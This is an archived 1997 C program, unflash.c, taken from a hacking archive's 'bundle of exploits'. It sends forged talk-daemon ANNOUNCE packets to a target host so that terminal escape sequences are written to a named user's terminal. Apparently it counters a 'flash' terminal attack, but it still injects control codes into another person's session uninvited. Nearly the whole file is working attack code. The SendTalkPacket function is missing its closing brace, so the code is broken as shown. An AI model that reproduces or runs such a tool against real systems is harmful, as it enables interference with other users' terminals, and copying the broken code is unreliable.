home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / unflash.c < prev    next >
C/C++ Source or Header  |  1997-02-10  |  4KB  |  187 lines

  1. /* unflash.c */
  2.  
  3.  
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <netdb.h>
  8. #include <stdio.h>
  9. #include <strings.h>
  10.  
  11. /* this should really be in an include file..  */
  12.  
  13. #define OLD_NAME_SIZE 9
  14. #define NAME_SIZE    12
  15. #define TTY_SIZE     16 
  16. typedef struct {
  17.     char    type;
  18.     char    l_name[OLD_NAME_SIZE];
  19.     char    r_name[OLD_NAME_SIZE];
  20.     char    filler;
  21.     u_long  id_num;
  22.     u_long  pid;
  23.     char    r_tty[TTY_SIZE];
  24.     struct  sockaddr_in addr;
  25.     struct  sockaddr_in ctl_addr;
  26. } OLD_MSG;
  27.  
  28. typedef struct {
  29.     u_char  vers;
  30.     char    type;
  31.     u_short filler;
  32.     u_long  id_num;
  33.     struct  sockaddr_in addr;
  34.     struct  sockaddr_in ctl_addr;
  35.     long    pid;
  36.     char    l_name[NAME_SIZE];
  37.     char    r_name[NAME_SIZE];
  38.     char    r_tty[TTY_SIZE];
  39. } CTL_MSG;
  40.  
  41. #define TALK_VERSION    1               /* protocol version */
  42.  
  43. /* Types */
  44. #define LEAVE_INVITE    0
  45. #define LOOK_UP         1
  46. #define DELETE          2
  47. #define ANNOUNCE        3
  48.  
  49. int     current = 1;    /* current id..  this to avoid duplications */
  50.  
  51. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  52. {
  53. static  struct sockaddr    addr;
  54. struct  sockaddr_in *address;
  55. struct  hostent     *host;
  56.  
  57. address = (struct sockaddr_in *)&addr;
  58. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  59. /* fill in the easy fields */
  60. address->sin_family = AF_INET;
  61. address->sin_port = htons(port);
  62. /* first, check if the address is an ip address */
  63. address->sin_addr.s_addr = inet_addr(hostname);
  64. if ( (int)address->sin_addr.s_addr == -1)
  65.     {
  66.     /* it wasn't.. so we try it as a long host name */
  67.     host = gethostbyname(hostname);
  68.     if (host)
  69.         {
  70.         /* wow.  It's a host name.. set the fields */
  71.         /* ?? address->sin_family = host->h_addrtype; */
  72.         bcopy( host->h_addr, (char *)&address->sin_addr,
  73.             host->h_length);
  74.         }
  75.     else
  76.         {
  77.         /* oops.. can't find it.. */
  78.         puts("Couldn't find address"); 
  79.         exit(-1);
  80.         return (struct sockaddr_in *)0;
  81.         }
  82.     }
  83. /* all done. */
  84. return (struct sockaddr_in *)address;
  85. }
  86.  
  87. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  88. {
  89. int     s;
  90. struct sockaddr sample; /* not used.. only to get the size */
  91.  
  92. s = socket(AF_INET, SOCK_DGRAM, 0);
  93. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  94.  
  95.  
  96. new_ANNOUNCE(char *hostname, char *remote, char *local)
  97. {
  98. CTL_MSG  packet; 
  99. struct   sockaddr_in  *address;
  100.  
  101. /* create a packet */
  102. address = getinaddr(hostname, 666 );  
  103. address->sin_family = htons(AF_INET); 
  104.  
  105. bzero( (char *)&packet, sizeof(packet) );
  106. packet.vers   = TALK_VERSION; 
  107. packet.type   = ANNOUNCE;   
  108. packet.pid    = getpid();
  109. packet.id_num = current;
  110. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  111. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  112. strncpy( packet.l_name, local, NAME_SIZE); 
  113. strncpy( packet.r_name, remote, NAME_SIZE); 
  114. strncpy( packet.r_tty, "", 1); 
  115.  
  116. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  117. }
  118.  
  119. old_ANNOUNCE(char *hostname, char *remote, char *local)
  120. {
  121. OLD_MSG  packet;
  122. struct   sockaddr_in  *address;
  123.  
  124. /* create a packet */
  125. address = getinaddr(hostname, 666 );
  126. address->sin_family = htons(AF_INET);
  127.  
  128. bzero( (char *)&packet, sizeof(packet) );
  129. packet.type   = ANNOUNCE;
  130. packet.pid    = getpid();
  131. packet.id_num = current;
  132. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  133. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  134. strncpy( packet.l_name, local, NAME_SIZE);
  135. strncpy( packet.r_name, remote, NAME_SIZE);
  136. strncpy( packet.r_tty, "", 1);
  137.  
  138. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  139. }
  140.  
  141. main(int argc, char *argv[])
  142. {
  143.     char    *hostname, *username; 
  144.     int     pid;
  145.  
  146.     if ( (pid = fork()) == -1)  
  147.         {
  148.         perror("fork()");
  149.         exit(-1);
  150.         }
  151.     if ( !pid )
  152.         {
  153.         exit(0);
  154.         }
  155.     if (argc < 2) { 
  156.         puts("Usage: <finger info> ");
  157.         exit(5);
  158.     }
  159.     username = argv[1]; 
  160.     if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  161.         {
  162.         puts("Invalid name.  ");
  163.         exit(-1);
  164.         }
  165.     *hostname = '\0'; 
  166.     hostname++; 
  167.  
  168.     if (*username == '~') 
  169.         username++; 
  170.  
  171. #define FIRST "\033c"
  172. #define SECOND "\033[0;24r"
  173. #define THIRD  "\033[0m\033[?5l"
  174. #define FOURTH " HIT CNTL-L!"            
  175.     new_ANNOUNCE(hostname, username, FIRST);
  176.     current++; 
  177.     new_ANNOUNCE(hostname, username, SECOND);
  178.     current++;
  179.     new_ANNOUNCE(hostname, username, THIRD); 
  180.     current++;
  181.         new_ANNOUNCE(hostname, username, FOURTH);
  182.         current++;
  183. }
  184.  
  185.  
  186.